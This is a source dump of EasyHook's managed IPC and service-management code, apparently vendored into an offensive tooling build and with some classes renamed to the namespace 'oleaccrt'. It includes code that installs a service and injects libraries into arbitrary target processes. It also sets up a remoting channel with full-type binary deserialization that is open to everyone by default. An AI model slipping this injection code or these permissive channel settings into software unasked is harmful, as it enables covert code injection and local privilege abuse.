136 | /// Initializes the full duplex connection and calls when the connection is in a full duplex .
137 | ///
138 | ///
139 | public void InitializeConnection(DuplexChannelReadyEventHandler onConnectionReady)
140 | {
141 | CreateServer();
142 | CreateClient(onConnectionReady);
143 | }
144 |
145 | ///
146 | /// Returns a new proxy to the remote endpoint object.
147 | ///
148 | ///
149 | public TRemoteEndPoint GetRemoteEndPoint()
150 | {
151 | return GetRemoteEndPoint(true);
152 | }
153 |
154 | #endregion
155 |
156 | #region Private Methods
157 |
158 | ///
159 | /// Creates the server side of the current duplex channel.
160 | ///
161 | ///
162 | /// In general, this method must always be called before calling .
163 | ///
164 | private void CreateServer()
165 | {
166 | var provider = new BinaryServerFormatterSinkProvider { TypeFilterLevel = TypeFilterLevel.Full };
167 | var securityDescriptor = CreateSecurityDescriptor(_localEndPointConfig.AllowedClients);
168 | _serverChannel = new IpcServerChannel(_localChannelProperties.AsDictionary(), provider, securityDescriptor);
169 | ChannelServices.RegisterChannel(_serverChannel, false);
170 | RemotingConfiguration.RegisterWellKnownServiceType(_localEndPointConfig.RemoteObjectType,
171 | _localChannelProperties.EndPointName,
172 | _localEndPointConfig.ObjectMode);
173 | _state |= DuplexChannelState.ServerUp;
174 | }
175 |
176 | ///
177 | /// Initializes the client side of the current duplex channel.
178 | /// is called when the clientside is known to be up.
179 | ///
180 | ///
181 | /// In general, must always be called before using this method.
182 | ///
183 | ///
184 | private void CreateClient(DuplexChannelReadyEventHandler callback)
185 | {
186 | if (_remoteChannelProperties.IsInstantiatorChannel
187 | // The remote endpoint instantiated the channel and must already have set up its server,
188 | // therefore the remote endpoint is always expected to be ready to be connected to.
189 | // Verify this by attempting a connection.
190 | && TryConnectClient())
191 | {
192 | callback(this);
193 | }
194 | else
195 | {
196 | // Subscribe to the server object using reflection.
197 | // When the client is connected, it signals the server that its own server is ready to be connected to.
198 | DuplexChannelEndPointObject.SubscribeEndPointReadyEvent(_localEndPointConfig.RemoteObjectType,
199 | OnRemoteEndPointSignaledReady,
200 | callback);
201 | }
202 | }
203 |
204 | ///
205 | /// Handles the event of the remote endpoint signalling its ready state.
206 | ///
207 | ///
208 | ///
209 | private void OnRemoteEndPointSignaledReady(object state, EventArgs args)
210 | {
211 | if (!TryConnectClient())
212 | return; // Remote endpoint is not ready, why did it signal?
213 | var callback = state as DuplexChannelReadyEventHandler;
214 | if (callback != null)
215 | callback(this);
216 | }
217 |
218 | ///
219 | /// Tries to connect as a client in the current duplex channel.
220 | /// is set accordingly.
221 | ///
222 | ///
223 | private bool TryConnectClient()
224 | {
225 | try
226 | {
227 | var remoteEndPoint = GetRemoteEndPoint(false);
228 | remoteEndPoint.SignalEndpointReady();
229 | _state |= DuplexChannelState.ClientUp;
230 | return true;
231 | }
232 | catch (RemotingException)
233 | {
234 | return false;
235 | }
236 | }
237 |
238 | ///
239 | /// Returns an instance to the remote endpoint.
240 | ///
241 | ///
242 | /// An is thrown if is true
243 | /// and doesn't specify .
244 | ///
245 | ///
246 | /// A is thrown if no valid proxy can be created.
247 | ///
248 | /// Specifies whether or not must be checked first.
249 | ///
250 | private TRemoteEndPoint GetRemoteEndPoint(bool checkChannelStateFirst)
251 | {
252 | if (checkChannelStateFirst
253 | && (_state & DuplexChannelState.ClientUp) != DuplexChannelState.ClientUp)
254 | throw new ApplicationException("Unable to return remote endpoint due to channel state " + _state);
255 | // Get proxy.
256 | var remoteObject = Activator.GetObject(typeof (TRemoteEndPoint), _remoteChannelProperties.Url) as TRemoteEndPoint;
257 | // Verify the proxy instance.
258 | if (remoteObject != null)
259 | remoteObject.Ping();
260 | else
261 | throw new RemotingException("Unable to create remote interface of type " + typeof (TRemoteEndPoint));
262 | return remoteObject;
263 | }
264 |
265 | #endregion
266 |
267 | #region Private Static Methods
268 |
269 | ///
270 | /// Asserts the given to be valid.
271 | ///
272 | ///
273 | /// And is thrown if any of 's properties is invalid.
274 | /// The given is set to .
275 | ///
276 | ///
277 | ///
278 | private static void AssertEndpointConfigurationData(EndPointConfigurationData configData, string paramName)
279 | {
280 | if (configData.AllowedClients == null)
281 | throw new ArgumentException("The given EndPointConfigurationData specifies an illegal value for AllowedClients",
282 | paramName);
283 | }
284 |
285 | ///
286 | /// Returns a default based on the given collection of .
287 | ///
288 | ///
289 | ///
290 | private static CommonSecurityDescriptor CreateSecurityDescriptor(ICollection allowedClients)
291 | {
292 | var dacl = new DiscretionaryAcl(false, false, allowedClients.Count);
293 | foreach (var sid in allowedClients)
294 | {
295 | var securityId = new SecurityIdentifier(sid, null);
296 | dacl.AddAccess(AccessControlType.Allow, securityId, -1, InheritanceFlags.None, PropagationFlags.None);
297 | }
298 | const ControlFlags controlFlags =
299 | ControlFlags.GroupDefaulted | ControlFlags.OwnerDefaulted | ControlFlags.DiscretionaryAclPresent;
300 | var securityDescriptor = new CommonSecurityDescriptor(false, false, controlFlags, null, null, null, dacl);
301 | return securityDescriptor;
302 | }
303 |
304 | #endregion
305 |
306 | }
307 | }
308 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/IPC/DuplexChannelEndPointObject.cs:
--------------------------------------------------------------------------------
1 | /*
2 | EasyHook - The reinvention of Windows API hooking
3 |
4 | Copyright (C) 2009-2010 EasyHook
5 |
6 | This library is free software; you can redistribute it and/or
7 | modify it under the terms of the GNU Lesser General Public
8 | License as published by the Free Software Foundation; either
9 | version 2.1 of the License, or (at your option) any later version.
10 |
11 | This library is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
14 | Lesser General Public License for more details.
15 |
16 | You should have received a copy of the GNU Lesser General Public
17 | License along with this library; if not, write to the Free Software
18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
19 |
20 | Please visit http://www.codeplex.com/easyhook for more information
21 | about the project and latest updates.
22 | */
23 |
24 | using System;
25 | using System.Reflection;
26 |
27 | namespace EasyHook.IPC
28 | {
29 | ///
30 | /// The base class of any type representing an endpoint in .
31 | ///
32 | internal abstract class DuplexChannelEndPointObject : EndPointObject
33 | {
34 |
35 | #region Private Constants - Member Names for Reflection
36 |
37 | ///
38 | /// to use when finding a class member through reflection.
39 | ///
40 | private const BindingFlags _BindingFlags = BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.FlattenHierarchy;
41 | ///
42 | /// The name of ,
43 | /// to be used with reflection.
44 | ///
45 | private const string _IsEndPointReady = "IsRemoteEndPointReady";
46 | ///
47 | /// The name of ,
48 | /// to be used with reflection.
49 | ///
50 | private const string _Subscribe = "Subscribe";
51 |
52 | #endregion
53 |
54 | #region Private Variables
55 |
56 | private static EventHandler _onEndPointReady;
57 | private static object _onEndPointReadyState;
58 | private static bool _isEndPointReady;
59 |
60 | #endregion
61 |
62 | #region Internal Members
63 |
64 | ///
65 | /// Signals the remote endpoint that the local endpoint is ready to be connected to.
66 | ///
67 | ///
68 | /// This is an internal method!
69 | /// It is marked public to prevent .NET remoting raising the following RemotingException:
70 | /// "Permission denied: cannot call non-public or static methods remotely."
71 | ///
72 | [Obsolete("For internal use only!")]
73 | public void SignalEndpointReady()
74 | {
75 | _isEndPointReady = true;
76 | if (_onEndPointReady != null)
77 | _onEndPointReady(_onEndPointReadyState, null);
78 | }
79 |
80 | ///
81 | /// Reads, using reflection on , whether the remote endpoint is ready to be connected to.
82 | ///
83 | ///
84 | ///
85 | internal static bool ReadIsRemoteEndPointReadyProperty(Type derivingType)
86 | {
87 | AssertDerivedType(derivingType, "derivingType");
88 | var isEndpointReady = derivingType.GetProperty(_IsEndPointReady, _BindingFlags);
89 | if (isEndpointReady == null)
90 | return false;
91 | return (bool)isEndpointReady.GetValue(null, null);
92 | }
93 |
94 | ///
95 | /// Subscribes, using reflection on , to an event raised when the remote endpoint signals its ready status.
96 | ///
97 | ///
98 | ///
99 | ///
100 | internal static void SubscribeEndPointReadyEvent(Type derivingType, EventHandler onActivated, object state)
101 | {
102 | AssertDerivedType(derivingType, "derivingType");
103 | var subscribeMethod = derivingType.GetMethod(_Subscribe, _BindingFlags);
104 | subscribeMethod.Invoke(null, new[] { onActivated, state });
105 | }
106 |
107 | ///
108 | /// Asserts that the given is a deriving from .
109 | ///
110 | ///
111 | ///
112 | internal new static void AssertDerivedType(Type type, string paramName)
113 | {
114 | if (type == null)
115 | throw new ArgumentNullException(paramName);
116 | if (!typeof(DuplexChannelEndPointObject).IsAssignableFrom(type))
117 | throw new ArgumentException("The given type must be a type deriving from EndPointObject", paramName);
118 | }
119 |
120 | #endregion
121 |
122 | #region Internal Protected Members
123 |
124 | ///
125 | /// Is marked protected since it's not possible to use reflection on private static members.
126 | /// See .
127 | ///
128 | internal protected static bool IsRemoteEndPointReady
129 | {
130 | get { return _isEndPointReady; }
131 | }
132 |
133 | ///
134 | /// Is marked protected since it's not possible to use reflection on private static members.
135 | /// See .
136 | ///
137 | ///
138 | ///
139 | internal protected static void Subscribe(EventHandler onActivated, object state)
140 | {
141 | _onEndPointReady += onActivated;
142 | _onEndPointReadyState = state;
143 | }
144 |
145 | #endregion
146 |
147 | }
148 | }
149 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/IPC/DuplexChannelReadyEventHandler.cs:
--------------------------------------------------------------------------------
1 | /*
2 | EasyHook - The reinvention of Windows API hooking
3 |
4 | Copyright (C) 2009-2010 EasyHook
5 |
6 | This library is free software; you can redistribute it and/or
7 | modify it under the terms of the GNU Lesser General Public
8 | License as published by the Free Software Foundation; either
9 | version 2.1 of the License, or (at your option) any later version.
10 |
11 | This library is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
14 | Lesser General Public License for more details.
15 |
16 | You should have received a copy of the GNU Lesser General Public
17 | License along with this library; if not, write to the Free Software
18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
19 |
20 | Please visit http://www.codeplex.com/easyhook for more information
21 | about the project and latest updates.
22 | */
23 |
24 | namespace EasyHook.IPC
25 | {
26 | internal delegate void DuplexChannelReadyEventHandler(DuplexChannel sender)
27 | where TEndPoint : DuplexChannelEndPointObject;
28 | }
29 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/IPC/DuplexChannelState.cs:
--------------------------------------------------------------------------------
1 | /*
2 | EasyHook - The reinvention of Windows API hooking
3 |
4 | Copyright (C) 2009-2010 EasyHook
5 |
6 | This library is free software; you can redistribute it and/or
7 | modify it under the terms of the GNU Lesser General Public
8 | License as published by the Free Software Foundation; either
9 | version 2.1 of the License, or (at your option) any later version.
10 |
11 | This library is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
14 | Lesser General Public License for more details.
15 |
16 | You should have received a copy of the GNU Lesser General Public
17 | License along with this library; if not, write to the Free Software
18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
19 |
20 | Please visit http://www.codeplex.com/easyhook for more information
21 | about the project and latest updates.
22 | */
23 |
24 | using System;
25 |
26 | namespace EasyHook.IPC
27 | {
28 | ///
29 | /// Defines the state of a .
30 | ///
31 | [Flags]
32 | internal enum DuplexChannelState
33 | {
34 | ///
35 | /// The channel is down.
36 | ///
37 | Down = 0x00,
38 | ///
39 | /// The remote endpoint is able to send messages to the local endpoint.
40 | ///
41 | ServerUp = 0x01,
42 | ///
43 | /// The local endpoint is able to send messages to the remote endpoint.
44 | ///
45 | ClientUp = 0x02,
46 | ///
47 | /// Both endpoints can communicate in either direction.
48 | ///
49 | FullDuplex = 0x03
50 | }
51 | }
52 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/IPC/EndPointConfigurationData.cs:
--------------------------------------------------------------------------------
1 | /*
2 | EasyHook - The reinvention of Windows API hooking
3 |
4 | Copyright (C) 2009-2010 EasyHook
5 |
6 | This library is free software; you can redistribute it and/or
7 | modify it under the terms of the GNU Lesser General Public
8 | License as published by the Free Software Foundation; either
9 | version 2.1 of the License, or (at your option) any later version.
10 |
11 | This library is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
14 | Lesser General Public License for more details.
15 |
16 | You should have received a copy of the GNU Lesser General Public
17 | License along with this library; if not, write to the Free Software
18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
19 |
20 | Please visit http://www.codeplex.com/easyhook for more information
21 | about the project and latest updates.
22 | */
23 |
24 | using System;
25 | using System.Collections.Generic;
26 | using System.Runtime.Remoting;
27 | using System.Security.Principal;
28 |
29 | namespace EasyHook.IPC
30 | {
31 | ///
32 | /// Wraps all data required for instantiating the local endpoint's server for an IPC channel.
33 | ///
34 | ///
35 | /// This class is generic in order to be able to check at compile time.
36 | ///
37 | public struct EndPointConfigurationData
38 | where TEndPoint : EndPointObject
39 | {
40 |
41 | #region Variables
42 |
43 | private ICollection _allowedClients;
44 | private WellKnownObjectMode _objectMode;
45 |
46 | #endregion
47 |
48 | #region Properties
49 |
50 | ///
51 | /// Gets the type which provides the method implementations this server should provide.
52 | ///
53 | public Type RemoteObjectType
54 | {
55 | get { return typeof(TEndPoint); }
56 | }
57 |
58 | ///
59 | /// Gets or sets the specifying how calls to the server must be handled.
60 | ///
61 | ///
62 | /// Use if you want to handle each call in an new object instance,
63 | /// otherwise.
64 | /// The latter will implicitly allow you to use "static" remote variables.
65 | ///
66 | public WellKnownObjectMode ObjectMode
67 | {
68 | get { return _objectMode; }
69 | set { _objectMode = value; }
70 | }
71 |
72 | ///
73 | /// Gets or sets the collection of all authenticated users allowed to access the remoting channel.
74 | ///
75 | public ICollection AllowedClients
76 | {
77 | get { return _allowedClients; }
78 | set
79 | {
80 | if (value == null)
81 | throw new ArgumentNullException("value");
82 | if (value.Count == 0)
83 | throw new ArgumentException();
84 | _allowedClients = value;
85 | }
86 | }
87 |
88 | #endregion
89 |
90 | #region Public Methods
91 |
92 | ///
93 | /// Initializes a new instance of
94 | /// using the given and default values.
95 | ///
96 | public static EndPointConfigurationData InitializeDefault()
97 | {
98 | return new EndPointConfigurationData
99 | {
100 | _allowedClients =
101 | new List {WellKnownSidType.BuiltinAdministratorsSid, WellKnownSidType.WorldSid},
102 | _objectMode = WellKnownObjectMode.Singleton
103 | };
104 | }
105 |
106 | #endregion
107 |
108 | }
109 | }
110 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/IPC/EndPointObject.cs:
--------------------------------------------------------------------------------
1 | /*
2 | EasyHook - The reinvention of Windows API hooking
3 |
4 | Copyright (C) 2009-2010 EasyHook
5 |
6 | This library is free software; you can redistribute it and/or
7 | modify it under the terms of the GNU Lesser General Public
8 | License as published by the Free Software Foundation; either
9 | version 2.1 of the License, or (at your option) any later version.
10 |
11 | This library is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
14 | Lesser General Public License for more details.
15 |
16 | You should have received a copy of the GNU Lesser General Public
17 | License along with this library; if not, write to the Free Software
18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
19 |
20 | Please visit http://www.codeplex.com/easyhook for more information
21 | about the project and latest updates.
22 | */
23 |
24 | using System;
25 | using System.Runtime.Remoting;
26 |
27 | namespace EasyHook.IPC
28 | {
29 | ///
30 | /// The base class of any type representing an endpoint in 's IPC framework.
31 | ///
32 | public abstract class EndPointObject : MarshalByRefObject
33 | {
34 |
35 | #region Public Members
36 |
37 | // ToDo: If project is updated to .NET3.5 or above, implement extension method TryPing()
38 | ///
39 | /// If no exception is thrown, the IPC connection is expected to be working.
40 | ///
41 | ///
42 | /// A is thrown by the CLR if the current object can't be reached.
43 | ///
44 | public void Ping()
45 | {
46 | }
47 |
48 | #endregion
49 |
50 | #region Internal Members
51 |
52 | ///
53 | /// Asserts that the given is a deriving from .
54 | ///
55 | ///
56 | ///
57 | internal static void AssertDerivedType(Type type, string paramName)
58 | {
59 | if (type == null)
60 | throw new ArgumentNullException(paramName);
61 | if (!typeof(EndPointObject).IsAssignableFrom(type))
62 | throw new ArgumentException("The given type must be a type deriving from EndPointObject", paramName);
63 | }
64 |
65 | #endregion
66 |
67 | }
68 | }
69 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/IPC/SimplexChannel.cs:
--------------------------------------------------------------------------------
1 | /*
2 | EasyHook - The reinvention of Windows API hooking
3 |
4 | Copyright (C) 2009-2010 EasyHook
5 |
6 | This library is free software; you can redistribute it and/or
7 | modify it under the terms of the GNU Lesser General Public
8 | License as published by the Free Software Foundation; either
9 | version 2.1 of the License, or (at your option) any later version.
10 |
11 | This library is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
14 | Lesser General Public License for more details.
15 |
16 | You should have received a copy of the GNU Lesser General Public
17 | License along with this library; if not, write to the Free Software
18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
19 |
20 | Please visit http://www.codeplex.com/easyhook for more information
21 | about the project and latest updates.
22 | */
23 |
24 | using System;
25 | using System.Collections.Generic;
26 | using System.Runtime.Remoting;
27 | using System.Runtime.Remoting.Channels;
28 | using System.Runtime.Remoting.Channels.Ipc;
29 | using System.Runtime.Serialization.Formatters;
30 | using System.Security.AccessControl;
31 | using System.Security.Principal;
32 |
33 | namespace EasyHook.IPC
34 | {
35 | ///
36 | /// provides a simplex channel (one way communication channel)
37 | /// for communication from one to an other.
38 | ///
39 | internal class SimplexChannel
40 | where TEndPoint : EndPointObject
41 | {
42 |
43 | #region Variables
44 |
45 | private readonly ChannelProperties _channelProperties;
46 | private readonly EndPointConfigurationData _endPointConfig;
47 | private IpcServerChannel _serverChannel;
48 |
49 | #endregion
50 |
51 | #region Properties
52 |
53 | ///
54 | /// Gets the full url of the current .
55 | ///
56 | public string EndPointUrl
57 | {
58 | get { return _channelProperties.Url; }
59 | }
60 |
61 | ///
62 | /// Gets whether the current is initialized.
63 | ///
64 | public bool IsInitialized
65 | {
66 | get { return _serverChannel != null; }
67 | }
68 |
69 | #endregion
70 |
71 | #region Constructors
72 |
73 | ///
74 | /// Initializes a new instance of using the given configuration data.
75 | ///
76 | ///
77 | ///
78 | public SimplexChannel(EndPointConfigurationData endPointConfigurationData)
79 | {
80 | AssertEndpointConfigurationData(endPointConfigurationData, "endPointConfigurationData");
81 | _channelProperties = ChannelProperties.CreateRandomChannelProperties();
82 | _endPointConfig = endPointConfigurationData;
83 | }
84 |
85 | #endregion
86 |
87 | #region Public Methods
88 |
89 | ///
90 | /// Initializes the .
91 | ///
92 | public void InitializeChannel()
93 | {
94 | if (IsInitialized)
95 | return;
96 | var provider = new BinaryServerFormatterSinkProvider {TypeFilterLevel = TypeFilterLevel.Full};
97 | var securityDescriptor = CreateSecurityDescriptor(_endPointConfig.AllowedClients);
98 | _serverChannel = new IpcServerChannel(_channelProperties.AsDictionary(), provider, securityDescriptor);
99 | ChannelServices.RegisterChannel(_serverChannel, false);
100 | RemotingConfiguration.RegisterWellKnownServiceType(_endPointConfig.RemoteObjectType,
101 | _channelProperties.EndPointName,
102 | _endPointConfig.ObjectMode);
103 | }
104 |
105 | #endregion
106 |
107 | #region Private Static Methods
108 |
109 | ///
110 | /// Asserts the given to be valid.
111 | ///
112 | ///
113 | ///
114 | ///
115 | private static void AssertEndpointConfigurationData(EndPointConfigurationData configData, string paramName)
116 | {
117 | if (configData.AllowedClients == null)
118 | throw new ArgumentException(
119 | "The given EndPointConfigurationData specifies an illegal value for " + "AllowedClients", paramName);
120 | }
121 |
122 | ///
123 | /// Returns a default based on the given collection of .
124 | ///
125 | ///
126 | ///
127 | private static CommonSecurityDescriptor CreateSecurityDescriptor(ICollection allowedClients)
128 | {
129 | var dacl = new DiscretionaryAcl(false, false, allowedClients.Count);
130 | foreach (var sid in allowedClients)
131 | {
132 | var securityId = new SecurityIdentifier(sid, null);
133 | dacl.AddAccess(AccessControlType.Allow, securityId, -1, InheritanceFlags.None, PropagationFlags.None);
134 | }
135 | const ControlFlags controlFlags =
136 | ControlFlags.GroupDefaulted | ControlFlags.OwnerDefaulted | ControlFlags.DiscretionaryAclPresent;
137 | var securityDescriptor = new CommonSecurityDescriptor(false, false, controlFlags, null, null, null, dacl);
138 | return securityDescriptor;
139 | }
140 |
141 | #endregion
142 |
143 | }
144 | }
145 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | // EasyHook (File: EasyHook\AssemblyInfo.cs)
2 | //
3 | // Copyright (c) 2009 Christoph Husse & Copyright (c) 2015 Justin Stenning
4 | //
5 | // Permission is hereby granted, free of charge, to any person obtaining a copy
6 | // of this software and associated documentation files (the "Software"), to deal
7 | // in the Software without restriction, including without limitation the rights
8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | // copies of the Software, and to permit persons to whom the Software is
10 | // furnished to do so, subject to the following conditions:
11 | //
12 | // The above copyright notice and this permission notice shall be included in
13 | // all copies or substantial portions of the Software.
14 | //
15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | // THE SOFTWARE.
22 | //
23 | // Please visit https://easyhook.github.io for more information
24 | // about the project and latest updates.
25 |
26 | using System.Reflection;
27 | using System.Runtime.CompilerServices;
28 | using System.Runtime.InteropServices;
29 |
30 | // General Information about an assembly is controlled through the following
31 | // set of attributes. Change these attribute values to modify the information
32 | // associated with an assembly.
33 | [assembly: AssemblyTitle("EasyHook (beta)")]
34 | [assembly: AssemblyDescription("The reinvention of Windows API hooking")]
35 | [assembly: AssemblyConfiguration("")]
36 | [assembly: AssemblyCompany("easyhook.codeplex.com")]
37 | [assembly: AssemblyProduct("EasyHook")]
38 | [assembly: AssemblyCopyright("Copyright (c) 2016 EasyHook Team")]
39 | [assembly: AssemblyTrademark("")]
40 | [assembly: AssemblyCulture("")]
41 |
42 | // Setting ComVisible to false makes the types in this assembly not visible
43 | // to COM components. If you need to access a type in this assembly from
44 | // COM, set the ComVisible attribute to true on that type.
45 | [assembly: ComVisible(false)]
46 |
47 | // The following GUID is for the ID of the typelib if this project is exposed to COM
48 | [assembly: Guid("f05453c0-cb12-471c-942c-992f63c1f5eb")]
49 |
50 | // Version information for an assembly consists of the following four values:
51 | //
52 | // Major Version
53 | // Minor Version
54 | // Build Number
55 | // Revision
56 | //
57 | // You can specify all the values or you can default the Revision and Build Numbers
58 | // by using the '*' as shown below:
59 | [assembly: AssemblyVersion("2.7.0.0")]
60 | [assembly: AssemblyFileVersion("2.7.0.0")]
61 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/ServiceMgmt.cs:
--------------------------------------------------------------------------------
1 | // EasyHook (File: EasyHook\ServiceMgmt.cs)
2 | //
3 | // Copyright (c) 2009 Christoph Husse & Copyright (c) 2015 Justin Stenning
4 | //
5 | // Permission is hereby granted, free of charge, to any person obtaining a copy
6 | // of this software and associated documentation files (the "Software"), to deal
7 | // in the Software without restriction, including without limitation the rights
8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | // copies of the Software, and to permit persons to whom the Software is
10 | // furnished to do so, subject to the following conditions:
11 | //
12 | // The above copyright notice and this permission notice shall be included in
13 | // all copies or substantial portions of the Software.
14 | //
15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | // THE SOFTWARE.
22 | //
23 | // Please visit https://easyhook.github.io for more information
24 | // about the project and latest updates.
25 |
26 | using System;
27 | using System.Collections.Generic;
28 | using System.Text;
29 | using System.Threading;
30 | using System.IO;
31 | using System.Reflection;
32 |
33 | namespace oleaccrt
34 | {
35 | internal class ServiceMgmt
36 | {
37 | private static Mutex m_TermMutex = null;
38 | private static HelperServiceInterface m_Interface = null;
39 | private static Object ThreadSafe = new Object();
40 |
41 | private static void Install()
42 | {
43 | lock (ThreadSafe)
44 | {
45 | // Ensure we create a new one if the existing
46 | // channel cannot be pinged
47 | try
48 | {
49 | if (m_Interface != null)
50 | m_Interface.Ping();
51 | }
52 | catch
53 | {
54 | m_Interface = null;
55 | }
56 |
57 | if (m_Interface == null)
58 | {
59 | // create sync objects
60 | String ChannelName = RemoteHooking.GenerateName();
61 | EventWaitHandle Listening = new EventWaitHandle(
62 | false,
63 | EventResetMode.ManualReset,
64 | "Global\\Event_" + ChannelName);
65 | Mutex TermMutex = new Mutex(true, "Global\\Mutex_" + ChannelName);
66 |
67 | using (TermMutex)
68 | {
69 | // install and start service
70 | NativeAPI.RtlInstallService(
71 | "EasyHook" + (NativeAPI.Is64Bit?"64":"32") + "Svc",
72 | Path.GetFullPath(Config.GetDependantSvcExecutableName()),
73 | ChannelName);
74 |
75 | if (!Listening.WaitOne(5000, true))
76 | throw new ApplicationException("Unable to wait for service startup.");
77 |
78 | HelperServiceInterface Interface = RemoteHooking.IpcConnectClient(ChannelName);
79 |
80 | Interface.Ping();
81 |
82 | // now we can be sure that all things are fine...
83 | m_Interface = Interface;
84 | m_TermMutex = TermMutex;
85 | }
86 | }
87 | }
88 | }
89 |
90 | public static void Inject(
91 | Int32 InHostPID,
92 | Int32 InTargetPID,
93 | Int32 InWakeUpTID,
94 | Int32 InNativeOptions,
95 | String InLibraryPath_x86,
96 | String InLibraryPath_x64,
97 | Boolean InRequireStrongName,
98 | params Object[] InPassThruArgs)
99 | {
100 | Install();
101 |
102 | m_Interface.InjectEx(
103 | InHostPID,
104 | InTargetPID,
105 | InWakeUpTID,
106 | InNativeOptions,
107 | InLibraryPath_x86,
108 | InLibraryPath_x64,
109 | false,
110 | false,
111 | InRequireStrongName,
112 | InPassThruArgs);
113 | }
114 |
115 | public static Object ExecuteAsService(
116 | String InMethodName,
117 | params Object[] InParams)
118 | {
119 | Install();
120 |
121 | return m_Interface.ExecuteAsService(InMethodName, InParams);
122 | }
123 | }
124 | }
125 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/StrongName.snk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/BuildEnv/v2.7.7097/EasyHook-Managed/StrongName.snk
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/WOW64Bypass.cs:
--------------------------------------------------------------------------------
1 | // EasyHook (File: EasyHook\WOW64Bypass.cs)
2 | //
3 | // Copyright (c) 2009 Christoph Husse & Copyright (c) 2015 Justin Stenning
4 | //
5 | // Permission is hereby granted, free of charge, to any person obtaining a copy
6 | // of this software and associated documentation files (the "Software"), to deal
7 | // in the Software without restriction, including without limitation the rights
8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | // copies of the Software, and to permit persons to whom the Software is
10 | // furnished to do so, subject to the following conditions:
11 | //
12 | // The above copyright notice and this permission notice shall be included in
13 | // all copies or substantial portions of the Software.
14 | //
15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | // THE SOFTWARE.
22 | //
23 | // Please visit https://easyhook.github.io for more information
24 | // about the project and latest updates.
25 |
26 | using System;
27 | using System.Collections.Generic;
28 | using System.Text;
29 | using System.Threading;
30 | using System.Diagnostics;
31 | using System.IO;
32 |
33 | namespace oleaccrt
34 | {
35 | internal class WOW64Bypass
36 | {
37 | private static Mutex m_TermMutex = null;
38 | private static HelperServiceInterface m_Interface = null;
